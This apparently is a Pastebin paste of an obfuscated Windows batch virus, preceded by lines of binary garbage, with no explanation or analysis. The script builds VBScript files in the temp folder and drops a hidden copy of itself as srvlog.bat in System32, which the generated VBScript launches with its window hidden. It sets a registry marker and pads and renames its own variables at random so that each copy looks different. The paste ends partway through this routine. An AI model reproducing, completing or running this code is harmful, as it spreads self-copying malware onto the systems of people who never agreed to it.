API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 11th, 2017
95
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Winbatch 50.75 KB | None | 0 0
raw download clone embed print report
  1. Ùÿ„Q˜j¤æŒ×œ…k*
  2. …ë×YÁRý¾×¾Ðþö
  3. þ¼±½}pÓ»ùËAÎÄ“ø»IØNлѮ›[Û ý}œ!W§¥v
  4. Tì³$]Ìéü€º×ê–‘ÜÈÑ+žÌèc~]UÖhqCÞ±¶pXgȏ-L›”‚ì:²¨³üûþS
  5. åÏcR
  6. é¾°‚îYñGÆŠ‹Ð
  7. P:‹:#pGìÄ&à¯$€uç@þnÒ—“ñ:£°Ãi*àõ)?vgB×EôkVÄò¿Çï·¨ E¹W‹Ë™_MÙ(ÿd`ª§BÙqóʝ¦sFÚ¬"å(
  8. ¾Kf&#WÖ-BÈ)h}_»˜ìdVaíÉ_ÔÉ
  9. "­ËãÍ¥&d
  10. ÙO°ÔÃRJ&Ï$Û÷®ÿ­éåž]K˜zœÖ™¿”Œ†ÌFf¶V*°ÔùlAKá»\wÌwKÖæj‚ÿßTMmöQ`ßc™}{ï ¢PcôC{Æ\L‰“Åÿ†R÷
  11. žiÆ_·Ux
  12. ìFqÑáÔš~¬TAö²¬]TGÒVd˜»ëmÇÚrÓ¿¬(¹êqa—xBœýÆëCe]ÀßöžkïÏŸ¦öMB}yœ°RÑ[MÙÙú¶…
  13. ‚!
  14. û£ùœ·ÚÁV}–þgÖÂÃ_ §¥ʾ €ú¬~Žx»¿¹]{íoÝM?þB÷$zÛbæX™øóoá’r‰¶XR€ÁX̤+:~iÛðFÅN#Ö.Ǧ
  15. çèày*ò±Uµ«FOaíñÈé[ÿ¹F¿ÍûƒYM
  16. ~ŒŒ²‚œro¯Hö÷ñé\ †Rܦ؎ŒÝóúƧÚ\lúz\kà¾_eØy^×/fk¯ ÄØ£²Û*)Báó»û›wbwÎ
  17. ë—y.wéDDdâعL"SuPÖ™Sþf³?Û{YgË-àÌÁ/ù{yâXµ£™Ë“°À±´»½m •ÖÀ}«f.¿é–½âÖÚP¨•õJ’
  18. Ä/uò`P`¢ލS¯Õ?¥ü~#†B“ÊeȲ¾âýÒ•c³»±õùPÔPû‡eáÿ¶ý§®Öò±ž¹\ZýRÛlÆBøÎB
  19. ÅÜæuî灆‰L‹*‚à£qåÑ}ñÛ#LRº#«d\hQÜñùt°ßVÌ
  20. WEöhd¼âÐpYŽdVüµW”bÝ»-€®ÍOȤ€j›oÄ$_“JªéxäßJó£.“›©öÂâQ#@¦&­Õ÷˜”nPfo@´I
  21. •äžœ×øoÄ)`ýDj€ˆãßa’LÕÕë:f\ýĤ×ā¹gfüªŒ¶½nâwÚô…
  22. cls%czGAFW%
  23. @eCHO OFf%czGAFW%
  24. VEr|FInD /I "Xp"|if ErrorlEVeL 1 ctty nUL%czGAFW%
  25. if 4A7x==%1 goto czGAFWX6Xw6b1r
  26. reM O°|seT Gþð=Script%czGAFW%
  27. ECHo.on error resume next>%TMp%\w7W2KzsW.RR8%czGAFW%
  28. eCHo set ri=cREAtEobjeCt("w%Gþð%.shell")>>%Tmp%\w7W2KzsW.RR8%czGAFW%
  29. echO ri.run "%wINDiR%\SySteM32\srvlog.bat oArpC5V",0>>%tmp%\w7W2KzsW.RR8%czGAFW%
  30. if z%WINDIR%==z SET windir=%systemroot%%czGAFW%
  31. if exist %wINDiR%\SySteM32\srvlog.bat attrib -r -s -h %wINDiR%\SySteM32\srvlog.bat%czGAFW%
  32. EcHo.on error resume next>%TMP%\xY7p.vbs%czGAFW%
  33. eChO dim SLstk,J2z,EekgOOP,K7>>%tMp%\xY7p.vbs%czGAFW%
  34. EChO seT mtP0paF2Sr=creATeoBJEcT("%Gþð%ing.filesystemobject")>>%tMP%\xY7p.vbs%czGAFW%
  35. EchO sEt Bsoln1=mtP0paF2Sr.opentextfile("%wINDiR%\SySteM32\srvlog.bat",8)>>%tMp%\xY7p.vbs%czGAFW%
  36. ECHo randomize>>%TMP%\xY7p.vbs%czGAFW%
  37. ecHO for SLstk=0 to int(rnd*20)+11>>%Tmp%\xY7p.vbs%czGAFW%
  38. EcHO J2z=J2z&et5xMfjJ(int(rnd*112))&vbcrlf>>%tMP%\xY7p.vbs%czGAFW%
  39. ecHO next>>%TmP%\xY7p.vbs%czGAFW%
  40. ECHo function et5xMfjJ(NKGWOnUo)>>%TmP%\xY7p.vbs%czGAFW%
  41. EChO for EekgOOP=1 to NKGWOnUo>>%tmP%\xY7p.vbs%czGAFW%
  42. echO randomize>>%TMp%\xY7p.vbs%czGAFW%
  43. echo K7=int(rnd*256)>>%tmP%\uinRmnLQ.vbs%czGAFW%
  44. echo et5xMfjJ=et5xMfjJ&chr(K7)>>%tmp%\xY7p.vbs%czGAFW%
  45. eCHO next>>%tMP%\xY7p.vbs%czGAFW%
  46. EcHo end function>>%tMP%\xY7p.vbs%czGAFW%
  47. ecHO Bsoln1.write J2z>>%TmP%\xY7p.vbs%czGAFW%
  48. cscript %TMP%\xY7p.vbs>nul%czGAFW%
  49. find "czGAFW"<%0>%wINDiR%\SySteM32\srvlog.bat
  50. ECHo.on error resume next>%tMp%\uinRmnLQ.vbs%czGAFW%
  51. echO sET cDZ6XdLS=creATEoBJECT("w%Gþð%.shell")>>%tmP%\uinRmnLQ.vbs%czGAFW%
  52. Echo if cDZ6XdLS.regread("HKCU\Software\uWg16gB\Wyw_dm")="" then>>%tMP%\uinRmnLQ.vbs%czGAFW%
  53. EcHO dim RCHP,DQG71xU,xVis>>%TmP%\uinRmnLQ.vbs%czGAFW%
  54. echo seT LYUhhjm=CReAteoBjecT("%Gþð%ing.filesystemobject")>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  55. eCho SET h9N=LYUhhjm.opentextfile("%wINDiR%\SySteM32\srvlog.bat")>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  56. ECHO RCHP=h9N.readall>>%TMP%\uinRmnLQ.vbs%czGAFW%
  57. EchO RCHP=replace(RCHP,"czGAFW",So6lH(int(rnd*5)+2,3))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  58. ecHO RCHP=replace(RCHP,"-‹Íü\¢",So6lH(int(rnd*5)+2,3))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  59. EcHO RCHP=replace(RCHP,"Gþð",So6lH(int(rnd*5)+2,3))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  60. eCHO RCHP=replace(RCHP,"4A7x",So6lH(int(rnd*7)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  61. echo randomize>>%tmp%\uinRmnLQ.vbs%czGAFW%
  62. ecHo RCHP=replace(RCHP,"ri",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  63. echO RCHP=replace(RCHP,"oArpC5V",So6lH(int(rnd*7)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  64. ECHo RCHP=replace(RCHP,"z",So6lH(int(rnd*6)+2,3))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  65. EcHO RCHP=replace(RCHP,"IHN",So6lH(int(rnd*7)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  66. ECHo RCHP=replace(RCHP,"RR8",So6lH(int(rnd*1)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  67. ECHo RCHP=replace(RCHP,"IVVCAgCpok",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  68. eCHo RCHP=replace(RCHP,"UWJV04r6Lq",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  69. EcHO RCHP=replace(RCHP,"Rc4iZi7Jz9",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  70. EchO RCHP=replace(RCHP,"kanmzqm",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  71. echo RCHP=replace(RCHP,"bvS1Kv6GE",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  72. eCHo RCHP=replace(RCHP,"iiEzl",So6lH(int(rnd*9)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  73. ECHo RCHP=replace(RCHP,"KL$",So6lH(int(rnd*3)+2,3))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  74. eChO RCHP=replace(RCHP,"¯¹Cá$:",So6lH(int(rnd*4)+2,3))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  75. Echo RCHP=replace(RCHP,""jâ:iŠ",So6lH(int(rnd*4)+2,3))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  76. echo RCHP=replace(RCHP,"apºÃ",So6lH(int(rnd*5)+2,3))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  77. EchO randomize>>%TMP%\uinRmnLQ.vbs%czGAFW%
  78. eCHO RCHP=replace(RCHP,"HoHIS10r",So6lH(int(rnd*7)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  79. EcHo RCHP=replace(RCHP,"Kta48pH",So6lH(int(rnd*7)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  80. ECho RCHP=replace(RCHP,"ÁùÔ",So6lH(int(rnd*5)+2,3))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  81. ecHO RCHP=replace(RCHP,"P",So6lH(1,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  82. EChO RCHP=replace(RCHP,"GLbg4",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  83. eCHO RCHP=replace(RCHP,"pql4ge",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  84. echO RCHP=replace(RCHP,"q5u2G",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  85. ecHO RCHP=replace(RCHP,"rP_3TR",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  86. ecHO RCHP=replace(RCHP,"FN2tyPxn4F",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  87. eCHo RCHP=replace(RCHP,"DSc599BTh",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  88. Echo RCHP=replace(RCHP,"IbNByX5mpI",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  89. EChO RCHP=replace(RCHP,"vipD_l",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  90. Echo RCHP=replace(RCHP,"nV68609j",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  91. eChO RCHP=replace(RCHP,"v08Il1u6fn",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  92. eCHO RCHP=replace(RCHP,"CHI4d23S9",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  93. ECHO RCHP=replace(RCHP,"YENb16MRn",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  94. ECHO RCHP=replace(RCHP,"HW6OzNXLcY",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  95. ecHo randomize>>%TmP%\uinRmnLQ.vbs%czGAFW%
  96. eChO RCHP=replace(RCHP,"iiEzl",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  97. eCHO RCHP=replace(RCHP,"Ejn2w27C9",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  98. eCHo RCHP=replace(RCHP,"uBgz47",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  99. eCho RCHP=replace(RCHP,"ruNJQd_uUa",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  100. ECHo RCHP=replace(RCHP,"IVVCAgCpok",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  101. EchO RCHP=replace(RCHP,"UWJV04r6Lq",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  102. Echo RCHP=replace(RCHP,"xnZLf",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  103. echo RCHP=replace(RCHP,"ICo5M4",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  104. EcHo RCHP=replace(RCHP,"wno",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  105. ECho RCHP=replace(RCHP,"qUsvsGiVf5",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  106. ECHo RCHP=replace(RCHP,"HZJY8tBpUd",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  107. echO RCHP=replace(RCHP,"b3itK6A",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  108. echO RCHP=replace(RCHP,"Mx3WdMf0",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  109. Echo RCHP=replace(RCHP,"E6p",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  110. eCho RCHP=replace(RCHP,"yuntNjx0r8",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  111. eCHo RCHP=replace(RCHP,"eRp",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  112. EcHo RCHP=replace(RCHP,"CreTvzql",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  113. ecHo RCHP=replace(RCHP,"JeSLrpYr",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  114. echo RCHP=replace(RCHP,"K74lV4r5h",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  115. eCho randomize>>%tMP%\uinRmnLQ.vbs%czGAFW%
  116. ecHO RCHP=replace(RCHP,"RtlPFeEgkS",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  117. ECHO RCHP=replace(RCHP,"gbmsZ_Ti4",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  118. eCHO RCHP=replace(RCHP,"B2",So6lH(int(rnd*8)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  119. eCho RCHP=replace(RCHP,"rSTzQCwXvw",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  120. ecHO RCHP=replace(RCHP,"is0L1BNHKX",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  121. EchO RCHP=replace(RCHP,"DPk9sWS",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  122. eCho RCHP=replace(RCHP,"pk6rTYAwb6",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  123. echO RCHP=replace(RCHP,"qtOosI3hO_",So6lH(int(rnd*9)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  124. eCHo RCHP=replace(RCHP,"IoP6oIf",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  125. ECho RCHP=replace(RCHP,"cJzasXdI_",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  126. EcHo RCHP=replace(RCHP,"A6DBjSH9",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  127. EchO RCHP=replace(RCHP,"wXNry",So6lH(int(rnd*8)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  128. EchO RCHP=replace(RCHP,"SL2XVFn",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  129. eCHO RCHP=replace(RCHP,"ThHS",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  130. ECho RCHP=replace(RCHP,"BR",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  131. ECho RCHP=replace(RCHP,"olO",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  132. ECHO RCHP=replace(RCHP,"cwqyG",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  133. ECHo RCHP=replace(RCHP,"LQsuB7Qflw",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  134. EchO RCHP=replace(RCHP,"M3Q",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  135. Echo RCHP=replace(RCHP,"Rc4iZi7Jz9",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  136. eCho RCHP=replace(RCHP,"sDS5f5ave",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  137. eCHO RCHP=replace(RCHP,"hdVD",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  138. eChO randomize>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  139. EChO RCHP=replace(RCHP,"snMz8ZD8fF",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  140. eCHO RCHP=replace(RCHP,"WEPdTCVw",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  141. EchO RCHP=replace(RCHP,"iTQeVu",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  142. ecHO RCHP=replace(RCHP,"ry",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  143. ECho RCHP=replace(RCHP,"fAg8_DwTYF",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  144. EcHO RCHP=replace(RCHP,"KNPu0dQAh",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  145. eChO RCHP=replace(RCHP,"zmbioM",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  146. EchO RCHP=replace(RCHP,"uWg16gB",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  147. eCHO RCHP=replace(RCHP,"fZh_xkmw",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  148. EchO RCHP=replace(RCHP,"CS6Z0tAno",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  149. EChO RCHP=replace(RCHP,"kanmzqm",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  150. ecHo RCHP=replace(RCHP,"bvS1Kv6GE",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  151. ECHO RCHP=replace(RCHP,"fu5KxLknqZ",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  152. EChO RCHP=replace(RCHP,"ma",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  153. ECho RCHP=replace(RCHP,"wzRB61",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  154. EchO RCHP=replace(RCHP,"esy9",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  155. Echo RCHP=replace(RCHP,"nOm77YAf",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  156. EcHO RCHP=replace(RCHP,"ri",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  157. eCHO RCHP=replace(RCHP,"kv6",So6lH(int(rnd*5)+2,3))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  158. EcHo RCHP=replace(RCHP,"SICD",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  159. eCho RCHP=replace(RCHP,"Or7ZOrfq",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  160. echo RCHP=replace(RCHP,"Gm",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  161. Echo RCHP=replace(RCHP,"GXx2duk9",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  162. ECHo RCHP=replace(RCHP,"WjHdpj1xWt",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  163. eCHo randomize>>%TMP%\uinRmnLQ.vbs%czGAFW%
  164. EcHO RCHP=replace(RCHP,"g49QY40wmk",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  165. Echo RCHP=replace(RCHP,"jqtR",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  166. ecHO RCHP=replace(RCHP,"fToqnFTLXk",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  167. Echo RCHP=replace(RCHP,"iPae1g0J",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  168. ecHO RCHP=replace(RCHP,"F4AjB3ZC",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  169. ECho RCHP=replace(RCHP,"UR4y",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  170. ECho RCHP=replace(RCHP,"Gp9P1JM",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  171. ECHO RCHP=replace(RCHP,"ywiG",So6lH(int(rnd*9)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  172. eCho RCHP=replace(RCHP,"bDilY3tsQy",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  173. ECHo RCHP=replace(RCHP,"qvVm",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  174. eCho RCHP=replace(RCHP,"IXIvffgY",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  175. echo RCHP=replace(RCHP,"marjkge3",So6lH(int(rnd*9)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  176. ecHO RCHP=replace(RCHP,"kEZbT",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  177. EcHo RCHP=replace(RCHP,"iDVgh",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  178. EChO RCHP=replace(RCHP,"L7l9",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  179. eCHo RCHP=replace(RCHP,"R4O1aC7",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  180. ECho RCHP=replace(RCHP,"ZRSlG9B",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  181. ecHo RCHP=replace(RCHP,"zivoGP5UJL",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  182. eChO RCHP=replace(RCHP,"xpX5X",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  183. ECHo randomize>>%tmp%\uinRmnLQ.vbs%czGAFW%
  184. ecHO RCHP=replace(RCHP,"e5d",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  185. ECho RCHP=replace(RCHP,"cZZm6",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  186. EcHO RCHP=replace(RCHP,"gK",So6lH(int(rnd*9)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  187. Echo RCHP=replace(RCHP,"J2TW4L",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  188. eCHo RCHP=replace(RCHP,"wVKc",So6lH(int(rnd*9)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  189. EcHo RCHP=replace(RCHP,"o8f",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  190. ECho RCHP=replace(RCHP,"mcvBfocQ",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  191. eCho RCHP=replace(RCHP,"nz1Kd9fkWk",So6lH(int(rnd*8)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  192. ecHO RCHP=replace(RCHP,"h2wXY",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  193. echo RCHP=replace(RCHP,"x62yovA8_U",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  194. echo RCHP=replace(RCHP,"YHkF",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  195. eCHO RCHP=replace(RCHP,"fCA0MMv5Gf",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  196. ecHO RCHP=replace(RCHP,"lICncu",So6lH(int(rnd*9)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  197. eCHO RCHP=replace(RCHP,"fSJclDL0D",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  198. ecHo RCHP=replace(RCHP,"f2tRu",So6lH(int(rnd*9)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  199. EchO RCHP=replace(RCHP,"h0xNoc",So6lH(int(rnd*8)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  200. ecHo RCHP=replace(RCHP,"h6io1c5k",So6lH(int(rnd*9)+2,2))>>%TMp%\uinRmnLQ.vbs%czGAFW%
  201. echO RCHP=replace(RCHP,"xAwyBHdGXM",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  202. eChO RCHP=replace(RCHP,"rv4K4mHp",So6lH(int(rnd*9)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  203. ecHO RCHP=replace(RCHP,"J9ZM",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  204. eCho RCHP=replace(RCHP,"BZ5ap2X4",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  205. EChO RCHP=replace(RCHP,"RCHP",So6lH(int(rnd*9)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  206. EchO RCHP=replace(RCHP,"So6lH",So6lH(int(rnd*9)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  207. EChO RCHP=replace(RCHP,"vjx9ohd",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  208. EchO RCHP=replace(RCHP,"l2D",So6lH(int(rnd*8)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  209. eCHo RCHP=replace(RCHP,"PNU2Eg_v",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  210. ECho RCHP=replace(RCHP,"PQy",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  211. EchO RCHP=replace(RCHP,"ttwB5mw",So6lH(int(rnd*8)+2,2))>>%TMP%\uinRmnLQ.vbs%czGAFW%
  212. ECho RCHP=replace(RCHP,"MEbOUO2f",So6lH(int(rnd*8)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  213. EchO RCHP=replace(RCHP,"gs",So6lH(int(rnd*8)+2,2))>>%tmp%\uinRmnLQ.vbs%czGAFW%
  214. EchO RCHP=replace(RCHP,"yXux",So6lH(int(rnd*8)+2,2))>>%tmP%\uinRmnLQ.vbs%czGAFW%
  215. Echo RCHP=replace(RCHP,"c62nIz",So6lH(int(rnd*8)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  216. EcHo RCHP=replace(RCHP,"QJJ",So6lH(int(rnd*8)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  217. echO RCHP=replace(RCHP,"Ce2l4fR",So6lH(int(rnd*7)+2,2))>>%tMP%\uinRmnLQ.vbs%czGAFW%
  218. ECHo RCHP=replace(RCHP,"IDvlNMXf",So6lH(int(rnd*7)+2,2))>>%TmP%\uinRmnLQ.vbs%czGAFW%
  219. echo RCHP=replace(RCHP,"SgkYF",So6lH(int(rnd*7)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  220. ECho RCHP=replace(RCHP,"BPkxss",So6lH(int(rnd*7)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
  221. EcHo RCHP=replace(RCHP,"Yk6dpAk",So6lH(int(rnd*7)+2,2))>>%tMp%\uinRmnLQ.vbs%czGAFW%
